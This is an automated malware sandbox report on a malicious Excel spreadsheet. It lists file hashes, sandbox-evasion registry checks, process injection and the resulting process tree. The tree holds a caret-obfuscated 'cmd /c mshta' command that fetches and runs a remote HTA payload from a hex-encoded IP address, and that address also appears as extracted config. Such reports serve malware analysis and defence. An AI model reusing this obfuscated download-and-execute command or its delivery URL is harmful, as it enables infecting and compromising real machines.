Analysis
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max time kernel
133s -
max time network
133s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
18-01-2022 12:04
Behavioral task
behavioral1
Sample
9529b48a5f5fd2aff17d966d10c20e9ab8912e234506de6de41b2758ed0f3f2f.xls
Resource
win10-en-20211208
General
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Target
9529b48a5f5fd2aff17d966d10c20e9ab8912e234506de6de41b2758ed0f3f2f.xls
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Size
128KB
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MD5
d53904bac924c9d2dd304ca3fe736d74
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SHA1
ec526f926bd2b3a51062139bc9730f80729d09f1
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SHA256
9529b48a5f5fd2aff17d966d10c20e9ab8912e234506de6de41b2758ed0f3f2f
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SHA512
80c737de3f932e64221067a49f2f1c2907fdcb1566304f68b1d2cf29abdd5b19ee87dca13d6832d7e00683126f147e457af974d815d9c3131112d5c363d4c988
Malware Config
Extracted
http://0xb907d607/cc.html
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3548 3348 cmd.exe 68 -
Blocklisted process makes network request 1 IoCs
Processes:
mshta.exeflow pid Process 45 1520 mshta.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid Process 3348 EXCEL.EXE -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
EXCEL.EXEpid Process 3348 EXCEL.EXE 3348 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 13 IoCs
Processes:
EXCEL.EXEpid Process 3348 EXCEL.EXE 3348 EXCEL.EXE 3348 EXCEL.EXE 3348 EXCEL.EXE 3348 EXCEL.EXE 3348 EXCEL.EXE 3348 EXCEL.EXE 3348 EXCEL.EXE 3348 EXCEL.EXE 3348 EXCEL.EXE 3348 EXCEL.EXE 3348 EXCEL.EXE 3348 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
EXCEL.EXEcmd.exedescription pid Process procid_target PID 3348 wrote to memory of 3548 3348 EXCEL.EXE 71 PID 3348 wrote to memory of 3548 3348 EXCEL.EXE 71 PID 3548 wrote to memory of 1520 3548 cmd.exe 73 PID 3548 wrote to memory of 1520 3548 cmd.exe 73
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\9529b48a5f5fd2aff17d966d10c20e9ab8912e234506de6de41b2758ed0f3f2f.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3348 -
C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3548 -
C:\Windows\system32\mshta.exemshta http://0xb907d607/cc.html3⤵
- Blocklisted process makes network request
PID:1520
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